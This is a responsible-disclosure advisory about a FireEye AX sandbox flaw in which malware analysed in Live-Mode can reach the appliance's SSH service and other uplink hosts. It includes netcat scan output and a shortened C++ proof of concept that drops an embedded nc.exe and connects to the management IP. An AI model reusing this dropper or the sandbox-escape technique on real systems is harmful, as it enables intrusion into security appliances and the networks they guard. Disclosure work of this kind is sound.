We recently identified a security issue in FireEye AX 5400, that also affected other products. We responsibly disclosed the bug to FireEye and a fix that addresses the issue has been released with version 7.7.7. The fix was also merged into the common core and is available as 8.0.1 for other products (i.e. FireEye EX).
The related release notes can be found here:
- https://docs.fireeye.com/docs/docs_en/AX/sw/7.7.7/RN/AX_RN_7.7.7_en.pdf
- https://docs.fireeye.com/docs/docs_en/EX/sw/8.0.1/RN/EX_RN_8.0.1_en.pdf
FireEye announced to post a 2017 Q3 notice with credit to us, too.
The problem was that when analyzed in Live-Mode, a malware sample was able to connect to services running on the FireEye appliance itself. Those services are meant to be reachable via the management network interface only, such as the SSH daemon, for example.
To verify this, we compiled a custom binary that drops netcat within the sandbox at runtime and instruments this to perform basic portscans.
In Sandbox Mode for example port 22 is not reachable on the FireEye AX:
(UNKNOWN) [10.X.Y.Z] 22 (?) : Connection timed out
In contrast, when executed in Live-Mode, the FireEye is reachable under the same IP, which results in a different result for the portscan, where amongst others port 22 is reported open:
(UNKNOWN) [10.X.Y.Z] 22 (?) open : Operation now in progress
To verify whether this open port is only simulated, we connected to this port on the FireEye from a notebook within the Management network:
ssh 10.X.Y.Z 22 The authenticity of host '10.X.Y.Z (10.X.Y.Z)' can't be established. RSA key fingerprint is SHA256:XXXXXXXXXXXXXX. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.X.Y.Z' (RSA) to the list of known hosts. Password:
To grab the SSH banner, we again connected from the same notebook to this service via netcat:
nc 10.X.Y.Z 22 SSH-2.0-OpenSSH_6.4.fe.2
We then compiled another binary executable and analyzed it in the FireEye in Live-Mode that performs the very same connection to this port on this management IP via nc from within the sandbox:
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139 Family PCI
Fast Ethernet NIC
...
IP Address. . . . . . . . . . . . : 169.254.A.B
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 169.254.A.1
...
''
'Extracting nc.exe'
''
'connecting to 10.X.Y.Z:22 via nc'
SSH-2.0-OpenSSH_6.4.fe.2
This connection shows the same SSH banner, which led us to the conclusion that the malware binary that is analyzed is able to connect the real SSH service and not a simulated open port, where no answer is sent back at all. FireEye confirmed the issue.
Further, we observed that other hosts in the LiveMode Internet uplink network can be reached by the malware, too.
The following shows a shortened proof of concept C++ source code of the binary we uploaded:
#include "stdafx.h"
#include "stdafx.h"
#include <stdlib.h>
#include <windows.h>
#include <string>
#include <stdio.h>
#include <vector>
#include <iostream>
#include <string>
using std::string;
#pragma comment(lib,"ws2_32.lib")
std::string base64_decode(std::string const& s);
// [.....shortened .....]
int _tmain(int argc, _TCHAR* argv[]){
// Extracting nc.exe
std::string ncExeB64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAA [.....shortened .....] AAAAAAAAAAAAAAAAA";
std::string decoded = base64_decode(ncExeB64);
FILE *fp;
fp = fopen("C:\\WINDOWS\\Temp\\nc.exe", "wb");
fwrite(decoded.c_str(), 1, decoded.length(), fp);
fclose(fp);
// running nc.exe
system("echo 'connecting to <FIREEYE-MGMT-IP>:22 via nc' >> C:\\WINDOWS\\Temp\\log.dmp");
system("C:\\WINDOWS\\Temp\\nc.exe -w 60 <FIREEYE-MGMT-IP> 22 >> C:\\WINDOWS\\Temp\\log.dmp 2>&1");
return 0;
}
Knowing this, an attacker can either compromise other hosts in the uplink network, or the FireEye appliance itself when the SSH login is known and from there gain access to the internal management network. Therefor only a binary has to be crafted and ensured that it is analyzed by the appliance, for example by sending it via email, in a case where all email attachments are send to the FireEye AX for analysis.
We thus strongly recommend to update all your FireEye appliances to the most current version.
Andreas